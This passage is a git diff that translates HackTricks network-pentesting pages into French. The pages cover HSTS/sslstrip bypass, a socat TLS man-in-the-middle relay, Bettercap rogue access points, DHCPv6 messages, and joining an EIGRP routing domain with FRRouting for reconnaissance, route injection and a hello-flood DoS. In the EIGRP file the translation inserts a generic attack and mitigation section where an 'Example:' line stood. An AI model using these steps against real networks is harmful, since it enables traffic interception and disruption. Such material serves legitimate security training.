technique est de **contourner HSTS** car _**wwww**.facebook.com_ **ne sera pas** enregistré dans le **cache** du navigateur, de sorte que le navigateur sera trompé pour effectuer **l'authentification Facebook en HTTP**.\ +Notez que pour effectuer cette attaque, la victime doit essayer d'accéder initialement à [http://www.faceook.com](http://www.faceook.com) et non à https. Cela peut être fait en modifiant les liens à l'intérieur d'une page http. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +Plus d'informations [ici](https://www.bettercap.org/legacy/#hsts-bypass), [ici](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) et [ici](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip ou sslStrip+ ne fonctionne plus. Cela est dû aux règles HSTS préenregistrées dans les navigateurs, donc même si c'est la première fois qu'un utilisateur accède à un domaine "important", il y accédera via HTTPS. De plus, notez que les règles préenregistrées et les autres règles générées peuvent utiliser le drapeau** [**`includeSubdomains`**](https://hstspreload.appspot.com) **donc l'exemple _**wwww.facebook.com**_ précédent ne fonctionnera plus car** _**facebook.com**_ **utilise HSTS avec `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## Écoute TCP sur le port ``` sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## Écoute TCP + SSL sur le port -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### Générer des clés et un certificat auto-signé ``` FILENAME=server # Generate a public/private key pair: @@ -802,26 +729,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` - -#### Listen using certificate - +#### Écouter en utilisant un certificat ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` - -#### Listen using certificate and redirect to the hosts - +#### Écouter en utilisant un certificat et rediriger vers les hôtes ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +Parfois, si le client vérifie que le CA est valide, vous pouvez **servir un certificat d'un autre nom d'hôte signé par un CA**.\ +Un autre test intéressant consiste à servir un **certificat du nom d'hôte demandé mais auto-signé**. -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +D'autres choses à tester consistent à essayer de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou utiliser la clé publique valide, forcer à utiliser un algorithme comme diffie hellman (qui n'a pas besoin de décrypter quoi que ce soit avec la vraie clé privée) et lorsque le client demande une sonde de la vraie clé privée (comme un hash), envoyer une fausse sonde et s'attendre à ce que le client ne vérifie pas cela. ## Bettercap - ```bash # Events events.stream off #Stop showing events @@ -847,20 +768,19 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### Notes de découverte active -### Active Discovery Notes +Il faut prendre en compte que lorsqu'un paquet UDP est envoyé à un appareil qui n'a pas le port demandé, un ICMP (Port Unreachable) est envoyé. -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **Découverte ARP** -### **ARP discover** - -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées à l'intérieur du réseau. Le PC doit envoyer une demande pour chaque adresse IP possible et seules celles qui sont utilisées répondront. ### **mDNS (multicast DNS)** -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". +Bettercap envoie une demande MDNS (toutes les X ms) demandant **\_services\_.dns-sd.\_udp.local**. La machine qui voit ce paquet répond généralement à cette demande. Ensuite, il ne recherche que les machines répondant aux "services". -**Tools** +**Outils** * Avahi-browser (--all) * Bettercap (net.probe.mdns) @@ -868,22 +788,22 @@ Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp ### **NBNS (NetBios Name Server)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap diffuse des paquets sur le port 137/UDP demandant le nom "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". ### **SSDP (Simple Service Discovery Protocol)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap diffuse des paquets SSDP recherchant tous types de services (port UDP 1900). ### **WSD (Web Service Discovery)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap diffuse des paquets WSD recherchant des services (port UDP 3702). -## References +## Références * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Astuce de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour les hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -891,10 +811,10 @@ Bettercap broadcast WSD packets searching for services (UDP Port 3702). ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index b42110215..935b3fab6 100644 --- a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,81 +1,40 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - - - -| DHCPv6 Message Type | DHCPv4 Message Type | +| Type de message DHCPv6 | Type de message DHCPv4 | | :--- | :--- | -| Solicit \(1\) | DHCPDISCOVER | -| Advertise \(2\) | DHCPOFFER | -| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST | -| Reply \(7\) | DHCPACK / DHCPNAK | -| Release \(8\) | DHCPRELEASE | -| Information-Request \(11\) | DHCPINFORM | -| Decline \(9\) | DHCPDECLINE | -| Confirm \(4\) | none | -| Reconfigure \(10\) | DHCPFORCERENEW | -| Relay-Forw \(12\), Relay-Reply \(13\) | none | +| Solicit \(1\) | DHCPDISCOVER | +| Advertise \(2\) | DHCPOFFER | +| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST | +| Reply \(7\) | DHCPACK / DHCPNAK | +| Release \(8\) | DHCPRELEASE | +| Information-Request \(11\) | DHCPINFORM | +| Decline \(9\) | DHCPDECLINE | +| Confirm \(4\) | aucun | +| Reconfigure \(10\) | DHCPFORCERENEW | +| Relay-Forw \(12\), Relay-Reply \(13\) | aucun | SOLICIT \(1\) - A DHCPv6 client sends a Solicit message to locate DHCPv6 servers. ADVERTISE \(2\) + Un client DHCPv6 envoie un message Solicit pour localiser les serveurs DHCPv6. ADVERTISE \(2\) - A server sends an Advertise message to indicate that it is available for DHCP service, in response to a Solicit message received from a client. REQUEST \(3\) + Un serveur envoie un message Advertise pour indiquer qu'il est disponible pour le service DHCP, en réponse à un message Solicit reçu d'un client. REQUEST \(3\) - A client sends a Request message to request configuration parameters, including IP addresses or delegated prefixes, from a specific server. CONFIRM \(4\) + Un client envoie un message Request pour demander des paramètres de configuration, y compris des adresses IP ou des préfixes délégués, à un serveur spécifique. CONFIRM \(4\) - A client sends a Confirm message to any available server to determine whether the addresses it was assigned are still appropriate to the link to which the client is connected. This could happen when the client detects either a link-layer connectivity change or if it is powered on and one or more leases are still valid. The confirm message is used to confirm whether the client is still on the same link or whether it has been moved. The actual lease\(s\) are not validated; just the prefix portion of the addresses or delegated prefixes. RENEW \(5\) + Un client envoie un message Confirm à n'importe quel serveur disponible pour déterminer si les adresses qui lui ont été attribuées sont toujours appropriées pour le lien auquel le client est connecté. Cela peut se produire lorsque le client détecte un changement de connectivité de la couche liaison ou s'il est sous tension et qu'une ou plusieurs locations sont encore valides. Le message de confirmation est utilisé pour confirmer si le client est toujours sur le même lien ou s'il a été déplacé. Les locations réelles ne sont pas validées ; seulement la partie préfixe des adresses ou des préfixes délégués. RENEW \(5\) - A client sends a Renew message to the server that originally provided the client's addresses and configuration parameters to extend the lifetimes on the addresses assigned to the client and to update other configuration parameters. REBIND \(6\) + Un client envoie un message Renew au serveur qui a initialement fourni les adresses et les paramètres de configuration du client pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration. REBIND \(6\) - A client sends a Rebind message to any available server to extend the lifetimes on the addresses assigned to the client and to update other configuration parameters; this message is sent after a client receives no response to a Renew message. REPLY \(7\) + Un client envoie un message Rebind à n'importe quel serveur disponible pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration ; ce message est envoyé après qu'un client n'a reçu aucune réponse à un message Renew. REPLY \(7\) - A server sends a Reply message containing assigned addresses and configuration parameters in response to a Solicit, Request, Renew, Rebind message received from a client. A server sends a Reply message containing configuration parameters in response to an Information-request message. A server sends a Reply message in response to a Confirm message confirming or denying that the addresses assigned to the client are appropriate to the link to which the client is connected. A server sends a Reply message to acknowledge receipt of a Release or Decline message. RELEASE \(8\) + Un serveur envoie un message Reply contenant des adresses attribuées et des paramètres de configuration en réponse à un message Solicit, Request, Renew, Rebind reçu d'un client. Un serveur envoie un message Reply contenant des paramètres de configuration en réponse à un message Information-request. Un serveur envoie un message Reply en réponse à un message Confirm confirmant ou refusant que les adresses attribuées au client soient appropriées pour le lien auquel le client est connecté. Un serveur envoie un message Reply pour accuser réception d'un message Release ou Decline. RELEASE \(8\) - A client sends a Release message to the server that assigned addresses to the client to indicate that the client will no longer use one or more of the assigned addresses. DECLINE \(9\) + Un client envoie un message Release au serveur qui a attribué des adresses au client pour indiquer que le client n'utilisera plus une ou plusieurs des adresses attribuées. DECLINE \(9\) - A client sends a Decline message to a server to indicate that the client has determined that one or more addresses assigned by the server are already in use on the link to which the client is connected. RECONFIGURE \(10\) + Un client envoie un message Decline à un serveur pour indiquer que le client a déterminé que une ou plusieurs adresses attribuées par le serveur sont déjà utilisées sur le lien auquel le client est connecté. RECONFIGURE \(10\) - A server sends a Reconfigure message to a client to inform the client that the server has new or updated configuration parameters, and that the client is to initiate a Renew/Reply or Information-request/Reply transaction with the server in order to receive the updated information. INFORMATION-REQUEST \(11\) + Un serveur envoie un message Reconfigure à un client pour l'informer que le serveur dispose de nouveaux paramètres de configuration ou mis à jour, et que le client doit initier une transaction Renew/Reply ou Information-request/Reply avec le serveur afin de recevoir les informations mises à jour. INFORMATION-REQUEST \(11\) - A client sends an Information-request message to a server to request configuration parameters without the assignment of any IP addresses to the client. RELAY-FORW \(12\) - - A relay agent sends a Relay-forward message to relay messages to servers, either directly or through another relay agent. The received message, either a client message or a Relay-forward message from another relay agent, is encapsulated in an option in the Relay-forward message. RELAY-REPL \(13\) - - A server sends a Relay-reply message to a relay agent containing a message that the relay agent delivers to a client. The Relay-reply message may be relayed by other relay agents for delivery to the destination relay agent. The server encapsulates the client message as an option in the Relay-reply message, which the relay agent extracts and relays to the client. - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+ Un client envoie un message Information-request à un serveur pour demander des paramètres de configuration sans l'attribution d'adresses IP au client. RELAY-FORW \(12\) + Un agent de relais envoie un message Relay-forward pour relayer des messages vers des serveurs, directement ou via un autre agent de relais. Le message reçu, soit un message client, soit un message Relay-forward d'un autre agent de relais, est encapsulé dans une option dans le message Relay-forward. RELAY-REPL \(13\) + Un serveur envoie un message Relay-reply à un agent de relais contenant un message que l'agent de relais livre à un client. Le message Relay-reply peut être relayé par d'autres agents de relais pour être livré à l'agent de relais de destination. Le serveur encapsule le message client en tant qu'option dans le message Relay-reply, que l'agent de relais extrait et relaie au client. diff --git a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index 623a591ef..87dabdef0 100644 --- a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,96 +1,110 @@ -# EIGRP Attacks +# Attaques EIGRP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\* +**Cette page a été copiée depuis** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -## Attacking EIGRP Protocol +## Attaquer le protocole EIGRP -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** **If there is no authentication and configuration of passive interfaces, an intruder can interfere with EIGRP routing and cause routing tables poisoning.** **Moreover, EIGRP network (in other words, autonomous system) is flat and has no segmentation into any zones.** What could this mean for an attacker? Well, if he injects a route, it is likely that this route will spread throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** est un protocole de routage dynamique. **C'est un protocole de vecteur de distance.** **S'il n'y a pas d'authentification et de configuration des interfaces passives, un intrus peut interférer avec le routage EIGRP et causer une empoisonnement des tables de routage.** **De plus, le réseau EIGRP (en d'autres termes, le système autonome) est plat et n'a pas de segmentation en zones.** Qu'est-ce que cela pourrait signifier pour un attaquant ? Eh bien, s'il injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.
-First and foremost, attacking a standalone EIGRP system requires establishing a neighborhood with a legitimate EIGRP router, which opens up a lot of possibilities, from basic reconnaissance to various injections. +Tout d'abord, attaquer un système EIGRP autonome nécessite d'établir une relation de voisinage avec un routeur EIGRP légitime, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections. -For this I will use [**FRRouting**](https://frrouting.org/). This is an open-source software which is designed to create a router in Unix and Linux. **FRRouting** allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. I’ll show you how to deploy FRR on your system in the next section. +Pour cela, j'utiliserai [**FRRouting**](https://frrouting.org/). Il s'agit d'un logiciel open source conçu pour créer un routeur dans Unix et Linux. **FRRouting** vous permet de mettre en place **un routeur virtuel qui prend en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles.** Tout ce que vous avez à faire est de le déployer sur votre système d'attaquant et vous pouvez en fait prétendre être un routeur légitime dans le domaine de routage. Je vais vous montrer comment déployer FRR sur votre système dans la section suivante. -### Network Intelligence +### Intelligence réseau -**Connecting to the routing domain allows us to do enumeration and reconnaissance of networks and not spend a lot of time scanning.** This method saves you a lot of precious time. **Plus, by scanning, you can get burned in front of IPS/IDS security systems.** To me, connecting to the domain and enumeration is the attack vector on routing domains that gives you the most impact. But to do this you need to deploy **FRRouting**. Here we go. - -**It is necessary to edit the configuration file daemons.** It contains the configurations of the daemons in the context of their activity. Either they are enabled (yes) or not (no). We need to activate the **eigrpd** daemon. +**Se connecter au domaine de routage nous permet de faire l'énumération et la reconnaissance des réseaux et de ne pas passer beaucoup de temps à scanner.** Cette méthode vous fait gagner beaucoup de temps précieux. **De plus, en scannant, vous pouvez vous faire repérer devant les systèmes de sécurité IPS/IDS.** Pour moi, la connexion au domaine et l'énumération sont le vecteur d'attaque sur les domaines de routage qui vous donne le plus d'impact. Mais pour cela, vous devez déployer **FRRouting**. C'est parti. +**Il est nécessaire de modifier le fichier de configuration daemons.** Il contient les configurations des démons dans le contexte de leur activité. Soit ils sont activés (yes) soit non (no). Nous devons activer le démon **eigrpd**. ``` ~# nano /etc/frr/daemons eigrpd=yes ``` -
-After that, you need to correct the **vtysh.conf** file by adding a line responsible for saving the configuration to one file, so that configurations of different protocols are not scattered into different files **(e.g. eigrpd.conf, staticd.conf).** It is configurable optionally. - +Ensuite, vous devez corriger le fichier **vtysh.conf** en ajoutant une ligne responsable de la sauvegarde de la configuration dans un seul fichier, afin que les configurations de différents protocoles ne soient pas dispersées dans différents fichiers **(par exemple, eigrpd.conf, staticd.conf).** Cela est configurable en option. ``` ~# nano /etc/frr/vtysh.conf service integrated-vtysh-config ``` - -The FRRouting configuration is done. Now it’s time to run the FRR daemon. **And yes, we need to enable traffic routing. By default it is disabled in Linux distributions** - +La configuration de FRRouting est terminée. Maintenant, il est temps d'exécuter le démon FRR. Et oui, nous devons activer le routage du trafic. Par défaut, il est désactivé dans les distributions Linux. ``` ~$ sudo systemctl start frr ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` -
-The **vtysh** command will take us to the FRR router control panel. - +La commande **vtysh** nous amènera au panneau de contrôle du routeur FRR. ``` ~$ sudo vtysh ``` +### EIGRP Attacks -Example: +#### EIGRP Protocol +Le protocole EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage propriétaire développé par Cisco. Il est utilisé pour acheminer des paquets de données sur un réseau de plusieurs routeurs. EIGRP est un protocole de routage à vecteur de distance qui utilise la métrique de coût pour déterminer le meilleur chemin vers une destination. + +#### EIGRP Attacks + +Les attaques EIGRP peuvent être utilisées pour perturber le trafic réseau, obtenir des informations sur le réseau et même prendre le contrôle de certains routeurs. Les attaques EIGRP courantes comprennent : + +- Spoofing EIGRP : un attaquant peut envoyer des paquets EIGRP falsifiés pour tromper les routeurs du réseau et leur faire croire qu'il est le routeur le plus proche d'une destination donnée. Cela peut entraîner une redirection de trafic vers l'attaquant ou une interruption de la connectivité. + +- Injection de route EIGRP : un attaquant peut injecter de fausses routes EIGRP dans le réseau pour rediriger le trafic vers des destinations malveillantes ou pour empêcher le trafic d'atteindre certaines destinations. + +- Attaques de déni de service (DoS) EIGRP : un attaquant peut envoyer des paquets EIGRP malveillants pour surcharger les routeurs du réseau et les empêcher de fonctionner correctement. + +#### Mitigation + +Pour se protéger contre les attaques EIGRP, il est recommandé de : + +- Configurer l'authentification EIGRP pour empêcher les attaquants de falsifier des paquets EIGRP. + +- Utiliser des listes de contrôle d'accès (ACL) pour limiter les paquets EIGRP entrants et sortants. + +- Surveiller le trafic EIGRP pour détecter les anomalies et les activités suspectes. + +- Mettre à jour régulièrement les routeurs avec les derniers correctifs de sécurité pour réduire les vulnérabilités connues. ``` Inguz# show version ``` -
-> **However, don’t forget that the EIGRP routing domain can be protected by authentication. But you still have a chance to connect to the routing domain. When hello packets are sent out, they also contain cryptographic hashes. If you can extract these hashes from the traffic dump and reset the password, you can log on to the routing domain with this password.** +> **Cependant, n'oubliez pas que le domaine de routage EIGRP peut être protégé par une authentification. Mais vous avez toujours une chance de vous connecter au domaine de routage. Lorsque les paquets hello sont envoyés, ils contiennent également des hachages cryptographiques. Si vous pouvez extraire ces hachages de l'extraction de trafic et réinitialiser le mot de passe, vous pouvez vous connecter au domaine de routage avec ce mot de passe.** -Go to global configuration mode and start the **EIGRP** process, specify the autonomous system number — **1** - -And we also need to declare the network we are in. We are at 10.10.100.0/24. My address is 10.10.100.50/32 +Accédez au mode de configuration globale et démarrez le processus **EIGRP**, spécifiez le numéro du système autonome - **1** +Et nous devons également déclarer le réseau dans lequel nous sommes. Nous sommes dans le réseau 10.10.100.0/24. Mon adresse est 10.10.100.50/32 ``` Inguz# configInguz(config)# router eigrp 1Inguz(config-router) network 10.10.100.50/32 ``` - -After that, the neighborhood between the legitimate EIGRP routers is established. There are two of them on my network: +Après cela, le voisinage entre les routeurs EIGRP légitimes est établi. Il y en a deux sur mon réseau : * **GW1 (10.10.100.100)** * **GW2 (10.10.100.200)** -EIGRP Neighborship with GW1 (10.10.100.100): +Voisinage EIGRP avec GW1 (10.10.100.100) :
-EIGRP Neighborship with GW2 (10.10.100.200): +Voisinage EIGRP avec GW2 (10.10.100.200) :
-During the establishment and maintenance of the neighborhood between EIGRP routers, routers exchange their routing information. After the neighborhood is established, new routes will appear in our routing table of the attacking system, namely: +Pendant l'établissement et la maintenance du voisinage entre les routeurs EIGRP, les routeurs échangent leurs informations de routage. Après l'établissement du voisinage, de nouvelles routes apparaîtront dans notre table de routage du système attaquant, à savoir : * **10.1.239.0/24 via 10.10.100.100;** * **30.30.30.0/24 via 10.10.100.100;** @@ -99,106 +113,98 @@ During the establishment and maintenance of the neighborhood between EIGRP route
-Thus, after establishing the neighborhood, we know about the existence of these subnets, which makes it easier for us to pentest and save time. We can do without additional subnet scanning. Now we are in the EIGRP routing domain and we can develop some attack vectors. Let’s talk about them. +Ainsi, après l'établissement du voisinage, nous connaissons l'existence de ces sous-réseaux, ce qui facilite notre pentest et nous fait gagner du temps. Nous pouvons nous passer de la numérisation de sous-réseau supplémentaire. Maintenant, nous sommes dans le domaine de routage EIGRP et nous pouvons développer quelques vecteurs d'attaque. Parlons-en. -### Fake EIGRP Neighbors +### Faux voisins EIGRP -**I have found that generating and quickly sending out mass EIGRP hello packets overloads the router’s CPU, which in turn can open the door to a DoS attack.** I have developed a little [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py) \*\*\*\* script, but it seems to me that the script lacks the speed of sending out the packets. **It’s caused by GIL**, which prevents the **sprayhello** function from running in multiple threads per second. **Eventually I’ll rewrite the script in C.** +**J'ai découvert que la génération et l'envoi rapide de paquets EIGRP hello en masse surchargent le CPU du routeur, ce qui peut ouvrir la porte à une attaque DoS.** J'ai développé un petit script [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py), mais il me semble que le script manque de vitesse d'envoi des paquets. **Cela est dû à GIL**, qui empêche la fonction **sprayhello** de s'exécuter en plusieurs threads par seconde. **Finalement, je réécrirai le script en C.**
